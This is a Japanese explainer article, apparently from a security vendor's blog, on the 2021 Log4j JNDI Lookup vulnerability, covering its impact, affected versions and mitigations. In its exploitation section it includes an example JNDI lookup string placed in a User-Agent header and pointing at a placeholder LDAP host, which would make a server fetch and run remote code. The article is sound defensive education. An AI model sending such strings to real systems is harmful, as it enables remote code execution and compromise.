2021年も師走に差し掛かったある日、「Log4j 脆弱性」というキーワードが世界中のセキュリティ界隈に激震を走らせました。
12月10日15時頃から、ITエンジニアを中心にネット上で火が付いたLog4jの脆弱性騒動はその後、米マイクロソフト社が提供する大人気ゲーム「Minecraft」やApple社の「iCloud」など、一般に身近なサービスへの影響も確認されたため、さらなる話題を呼びました。
Log4jの脆弱性については、NHK、WBS、日経新聞などの大手メディアでも取り上げられましたが、非エンジニアからすれば「なぜここまで話題となるのか？」が疑問なところです。
そこで本記事では、Log4jに見つかった脆弱性について「話題になるだけの理由」「具体的な危険性」「講じるべき対処法」の3点を中心に、「Log4jとはそもそも何か？」という初歩的な話題から解説していきます。
序盤は非エンジニア向けの解説がほとんどですので、長々しいと感じる方は後半部分から読み始めることをおススメします。
話題のlog4jとはそもそも何か？
Log4jは、Javaベースのアプリケーションで頻繁に使用される「API」の1つで、正式名称は「Apache Log4j」です。
APIとは、第三者が作成した外部の機能を、自作のソフトウェアなどに繋いで利活用するための枠組みのようなものです。実装したい機能と同様の機能をもつAPIを利用することで、ゼロからプログラムを書くコストが削減されるなど、ソフトウェア開発の省力化に役立ちます。
Log4jはJavaアプリケーションの標準的なロギングライブラリ（API)で、処理スピードの速さやその多機能性から、世界中のJavaアプリケーションで広く利用されていて、主要機能は次の通りです。
- 開発に欠かせないデバッグ情報やエラー情報などを出力
- 出力先はコンソール、ファイル、ログサーバ等
まとめますと「ログを入出力するための便利な機能」がLog4jの正体です。
Log4jに発見された重大な脆弱性
今回脆弱性が見つかったのは、Log4jに含まれる「JNDI Lookup」と呼ばれる機能です。
JNDI Lookupには、ログとして記録された文字列に”特定の文字列”が含まれていた場合、それを変数として置換し、指定したサーバからjava classファイルを読み込み実行してしまうといった特徴があります。この機能を使えば、任意のコード（例えば悪意のあるプログラム）を比較的容易にリモート実行出来てしまうため、とても危険です。
ネット上では「やばすぎる」「なぜこんな機能を搭載したのか？」などと騒がれ、ネットワーク企業として著名なCloudflareは「インターネット上で最も深刻な脆弱性の一つ」と評価しています。
具体的にどんな方法で悪用される？
ここでは、NIST（アメリカ国立標準技術研究所）のホームページにて紹介されている、簡易的なLog4jの悪用例をご紹介します。
- 攻撃者は脆弱性を利用できるようにするため、特殊な文字列を含ませたhttpリクエスト（データ）をサーバに送信する
- サーバに脆弱性がある場合、Javaアプリケーションは送られてきたデータを処理した結果を、そのままログに書き込んでしまう
- ログに書き込まれたデータに特殊な変数が含まれていると、JDNI Lookup機能がそれを実行してしまう
- Log4j が、ダウンロードした悪意のあるプログラムを読み込み、実行してしまう
例えば１．の時点で、httpヘッダのUser-Agentに{jndi:ldap://xxxxx.com/a}※という文字列を埋め込んだとします。
※文字列の意味は「ldap://xxxxx.com/aにアクセスしろ」という命令
※文字列の形式は{jndi:<protocol>://<url>}
この文字列がログに書き込まれ、JNDI Lookup機能により実行された場合、アクセスを受けたLDAPサーバ（ldap://xxxxx.com/a）は、悪意のあるJava ClassファイルのURLを応答します。するとLog4jは、応答されたURLに配置されている悪意のあるJava Classファイルをダウンロード、メモリ内に読み込み実行してしまうというわけです。
今回はLDAPプロトコルを用いた簡易的な悪用例を紹介しましたが、プロトコルの種類や、WAF等の検知回避を目的とした難読化パターンは日を追うごとに増加しており、攻撃パターンは今後も多様化していくものと考えらえます。
以上、Log4jの悪用例をなるべくわかりやすく説明しましたが、専門用語が多すぎるために混乱してしまった方もいると思います。その場合は「簡単な文字列を送り付けるだけで攻撃できてしまうんだなぁ」とだけ認識して頂ければOKです。
log4jの危険性、セキュリティ界隈が”騒然”足る理由
セキュリティ界隈は得てして脆弱性などの危険因子を大げさに、誇張して騒ぎ立てるものです。非エンジニアからすれば「何が危険かよくわからない」ことも多々あるでしょう。
しかし、ことLog4jの脆弱性に関しては、セキュリティ界隈が騒ぎ立てるだけの確固たる理由がきちんと存在します。
ここではLog4jの脆弱性に対し、セキュリティ界隈が「騒然たる理由」を以下3点に絞って解説します。
1．悪用の容易さ
あらゆるシステムの中で発見された脆弱性の「深刻度」を評価する指標の1つにCVSS（共通脆弱性評価システム：Common Vulnerability Scoring System）というものがあります。Log4jの脆弱性の深刻度はCVSSスコア最大の10.0を記録しており、影響範囲の甚大さと、緊急的な対処の必要性が示されています。
また、既述の通りLog4jは、他多くの脅威的な脆弱性の中でも極めて容易に攻撃を成立させられるという特徴があります。事実として、JPCERT/CCの発表によれば、Log4jの脆弱性が公になった12月10日以降、同団体が運用しているハニーポットへの”Log4jの悪用を狙うアクセス”が急激に増加しているといいます。
2．悪用方法の多様さ
Log4jの脆弱性を悪用すれば、”任意のプログラム”を実行させることが可能です。”任意の”という点がポイントで、プログラム次第では、機密情報を盗み出される、管理者権限を奪われる、マルウェアをばら撒かれるなど、本当に多様な攻撃を仕掛けることが可能なのです。
攻撃者次第でどんなプログラムでも実行されられるという点は、Log4j脆弱性の最大の脅威といっていいでしょう。
3．影響範囲の甚大さ
Log4jの脆弱性がここまで注目されるのは、とても多くのシステムで同ライブラリが利用されているからに他なりません。非常に広範に利用されているからこそ、脆弱性の影響範囲も広範にわたるのは自明の理です。
しかしそれ以上に厄介なのは、広範に利用されすぎているがゆえに「どのシステム（製品）で使用されているか？」が把握しづらい点にあります。Javaを直接使用していないシステムでもバックエンドで動くJavaシステムが影響を受ける可能性も高く、「利用しているシステム”が”利用しているシステム」にまで影響が及ぶとなると相当な対策コストがかかります。
また、IT担当不在の企業などでは「Javaを使用しているかどうか分からない」「脆弱性の確認/対応ができない」といった状況も考えられます。
log4j脆弱性の現実的な影響範囲/製品
今回、知名度や性能の高さが完全に裏目に出る形となったLog4jですが、実際どのような製品で使用されているのでしょうか？具体的な製品名をあげるとキリがありませんので、ここでは、Log4jの影響をうける製品の「条件」についてまとめます。
脆弱性対応にあたっているエンジニアの方は、ぜひ参考にしてください。
条件その1：Javaを使用している
既述の通り、Log4jは広範に利用されているため「Javaを直接使用していなくてもバックエンドで動くJavaシステムが影響を受ける」といったケースも考えられます。どのシステムに影響があるのかを効率的に見極める方法はありませんので、少なくとも「Javaを使用したシステム（とその関連システム）」には影響が出る前提で、対策に当たった方が良いでしょう。
また参考情報として、Log4jの脆弱性を含む最初のバージョンのリリース日は2013年9月14日です。よって、それ以降にリリースされたシステム全てが影響を受ける可能性を秘めています。
条件その2：Apache Log4j 2.15.0より以前のバージョン
Log4j開発者のブログに記載されている、脆弱性の影響を受けるバージョン情報は下記の通りです。
- Apach Log4j 2.15.0 より前の2系のバージョン（※Apache Log4j 2.12系のうち2.12.2以降を覗く）
- すでにサポートが終了している Apach Log4j 1系のバージョンでも影響を受ける可能性がある
上記に当てはまる場合は直ちに対策する必要があります。後述する「IT担当者が取るべきLog4j脆弱性への対処手順」を参考にしてください。
※影響を受けるバージョン情報等は、今後 更新/変更される可能性があります。一度対策したからといって油断せず、開発元の公開情報や各組織の最新情報にアンテナを張り、継続的に対策していく姿勢が重要です。
IT担当者が取るべきlog4j脆弱性への対処手順
最も有効かつ標準的な対策は、Log4j脆弱性を修正した最新のバージョンを適用することです。「Apache Log4j 2.15.0」以降のバージョンでは、JNDI Lookup機能がデフォルトで無効となっている（脆弱性が修正されている）ため、今すぐに適用実施を進めて下さい。また、今後も継続的にLog4j関連情報をチェックし、アップデートの必要があれば速やかに対処することをお勧めします。
最新のバージョンを適用していない場合の対処法
最新のバージョンを適用するのがベストですが、諸事情により適用が難しい場合は早急に以下の対応を取ることをお勧めします。
- JndiLookupクラス（JndiLookup.class）をクラスパスから削除する
また、システムから外部への接続を制限するための可能な限りのアクセス制御も、本脆弱性を悪用した攻撃を軽減するのに有効です。早急な見直しや強化を推奨します。
WAFの活用もおすすめ
Log4j脆弱性の対処方法としてWAF（Web Application Firewall）の活用は非常に効果的です。WAFはWebサーバへの通信内容を解析/検査し、攻撃だと判断した通信を遮断することでアプリケーションを保護します。
本脆弱性の悪用方法はまさに「サーバへ不正な通信を試みる」ところから始まるので、WAFを使うことで効果的な対策が可能です。
セキュリティ意識の向上が最良の対策
セキュリティの脅威は日に日に高度化しており、いまや100%の防御方法など存在しません。上述の「WAFによるアプリケーション保護」に関しても、日を追うごとに難読化パターンが増えており、アクセス検知をパスする不正文字列が次々と報告されています。
よって、脅威を未然に防ぐための定期的なセキュリティシステム保守はもちろん、不正アクセスされることを前提に、被害を最小限に押さえる対策なども必要です。
社員たった１人の意識の低さが重大なセキュリティ事故につながる現代。日々の情報収集と細かなセキュリティ施策の積み重ねが、あなたの会社を守ります。
